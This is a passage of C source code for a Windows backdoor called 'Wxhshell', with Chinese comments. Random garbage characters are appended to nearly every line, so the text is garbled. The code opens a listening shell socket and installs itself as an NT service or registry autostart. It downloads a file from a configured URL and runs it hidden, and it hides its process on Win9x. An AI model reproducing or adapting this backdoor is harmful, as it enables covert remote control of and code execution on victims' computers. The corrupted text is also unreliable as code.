>\^:xxTf
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; P
et0yH
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _4owxYSDke
<2diO=
HANDLE hProcess; }c|Xr^
PROCESS_BASIC_INFORMATION pbi; w80g)4V+
0>Z/3i&?<
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); )]n:y M
if(NULL == hInst ) return 0; h/V0}|b
~${.sD\
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); KxGK`'E'r
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); n_)d4d zl
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -"\z|OQ
bf'@sh%W
if (!NtQueryInformationProcess) return 0; /AjGj*O
4ZQXYwfC|
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); /tJJ2 =%l
if(!hProcess) return 0; Ca*^U-
#J, `a.
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; QlSZr[^v
fE|([` !
CloseHandle(hProcess); KFLIO>hE
F,P,dc
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); L 2Os\
if(hProcess==NULL) return 0; Ue^upx
5bH@R@3 m
HMODULE hMod; B<H5WI
char procName[255]; }a'8lwF%I
unsigned long cbNeeded; wP+wA}SN
BB|w-W=Kd
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); + 3aAL&
4 rw<C07Z
CloseHandle(hProcess); ^WVH z;
$0AN5 |`g\
if(strstr(procName,"services")) return 1; // 以服务启动 ;I:jd")
v /G,
return 0; // 注册表启动 9H" u\t|?
} 4Xe3PdE
'X<R)E
// 主模块 0KHA5dt
int StartWxhshell(LPSTR lpCmdLine) [9Q2/V;Uk%
{ &f|LjpMCf
SOCKET wsl; yg5 Ik{
BOOL val=TRUE; Xi6XV3G
int port=0; |bO}|X
struct sockaddr_in door; S$=])^ dur
7-'!XD!
if(wscfg.ws_autoins) Install(); ]p `#KVW
=eDVgOZ)
port=atoi(lpCmdLine); /V2Ih
mG1=8{o^
if(port<=0) port=wscfg.ws_port; bEMD2ABm
?r'rvu'/
WSADATA data; R}#?A%,*
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 3(}W=oI
E/Q[J.$o
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; z$QYl*F1
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); vc^qpOk
door.sin_family = AF_INET; MkRRBvk
door.sin_addr.s_addr = inet_addr("127.0.0.1"); f}Mc2PQ-
door.sin_port = htons(port); {qp
XzxV
8)\ ?6C
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { bvUjH5.7
closesocket(wsl); W+cmn )8
return 1; xeIt7b?#
} Elom_
~ Z=Q+'Hu0
if(listen(wsl,2) == INVALID_SOCKET) { Z7V1e<E
closesocket(wsl); %S.
_3`A
return 1; ol^OvG:TQ
} q$yTG!q*
Wxhshell(wsl);
qdx(wGG
WSACleanup(); ,@;",
N41)?-7F
return 0; o3#qp>R
7ykpDl^ @
} Z_zN:BJ8L
%u,H2*
// 以NT服务方式启动 q3z<v:=1y
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [O2xE037h`
{ ,gVA^]eDh
DWORD status = 0; MXh0 a@*]
DWORD specificError = 0xfffffff; K63OjR>H
&u&/t?
serviceStatus.dwServiceType = SERVICE_WIN32; c/jU+,_g
serviceStatus.dwCurrentState = SERVICE_START_PENDING; P6!c-\
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [o<Rgq4
serviceStatus.dwWin32ExitCode = 0; dzjp,c@
serviceStatus.dwServiceSpecificExitCode = 0; \'xF\V
serviceStatus.dwCheckPoint = 0; /vYuwaWG=
serviceStatus.dwWaitHint = 0; Tv_KdOv8
\xlelsmB*
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); XT9]+b8(M
if (hServiceStatusHandle==0) return; Sp]"Xr)
5V':3o;D__
status = GetLastError(); <~X4&E]rT_
if (status!=NO_ERROR) ,6=j'j1#a
{ xA& tVQ2!
serviceStatus.dwCurrentState = SERVICE_STOPPED; 9{RCh9
serviceStatus.dwCheckPoint = 0; _ho9}7 >
serviceStatus.dwWaitHint = 0; :XC~G&HuF6
serviceStatus.dwWin32ExitCode = status; Cvry8B
serviceStatus.dwServiceSpecificExitCode = specificError; p[2`H$A
SetServiceStatus(hServiceStatusHandle, &serviceStatus); F0qpJM,
return; y'((
tBWa!
} s /"&k
n0bm 'qw
serviceStatus.dwCurrentState = SERVICE_RUNNING; T`mG+"O
serviceStatus.dwCheckPoint = 0; RP9 #P&Qk
serviceStatus.dwWaitHint = 0; (u-K^xC
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); w[YiH $
} iH<:wLY&J
]$oo1ssZ1
// 处理NT服务事件,比如:启动、停止 Ngi]I#Vz
VOID WINAPI NTServiceHandler(DWORD fdwControl) oJ734v [X
{ Xia4I*
*
switch(fdwControl) O`j1~o<{
{ Lp.dF)C\
case SERVICE_CONTROL_STOP: "Rr)1x7
serviceStatus.dwWin32ExitCode = 0; w<#/ngI2
serviceStatus.dwCurrentState = SERVICE_STOPPED; !w2J*E\
serviceStatus.dwCheckPoint = 0; #Z#rOh
serviceStatus.dwWaitHint = 0; C jISU$O
{ $9YAq/#Q
SetServiceStatus(hServiceStatusHandle, &serviceStatus); NX%"_W/W
} ,P ~jO
return; 'i+j;.
case SERVICE_CONTROL_PAUSE: \NU^Jc_k7
serviceStatus.dwCurrentState = SERVICE_PAUSED; #
2;6!_
break; )l g>'O
case SERVICE_CONTROL_CONTINUE: +txFdc
serviceStatus.dwCurrentState = SERVICE_RUNNING; 2n+tc
break; UR?biq
case SERVICE_CONTROL_INTERROGATE: ;l`us
break; L|ZxB7xk
}; ]dIcW9a
SetServiceStatus(hServiceStatusHandle, &serviceStatus); bca4'`3\|
} ;}1O\nngR
/|Z_Dy
// 标准应用程序主函数 i]x_W@h
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ;O8'vp
{ xs,,)jF(u
CoZOKRoaH
// 获取操作系统版本 o]/*YaB2>
OsIsNt=GetOsVer(); >n$V1U&/
GetModuleFileName(NULL,ExeFile,MAX_PATH); VJbsM1y M
NH9"89]E
// 从命令行安装 3MX&%_wUhB
if(strpbrk(lpCmdLine,"iI")) Install(); n x4:n@J
U/}YpLgdD
// 下载执行文件 0OCmyy
if(wscfg.ws_downexe) { PtsQV!
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) F3nYMf
WinExec(wscfg.ws_filenam,SW_HIDE); M5 \flE2
} C- 5QhD
!=Scpo_
if(!OsIsNt) { Qe4O N3X!
// 如果时win9x,隐藏进程并且设置为注册表启动 _4,/uG|a O
HideProc(); CCDU5l$$
StartWxhshell(lpCmdLine); #mKF)W
} sbv2*fno5
else OFe-e(c1
if(StartFromService()) @*e5(@R
// 以服务方式启动 =$mPReA3v
StartServiceCtrlDispatcher(DispatchTable); <qGxkV
else Fz11/sKz
// 普通方式启动 ?}g^/g !
StartWxhshell(lpCmdLine); q7z`oK5
:3b.`s(M
return 0; boS=
}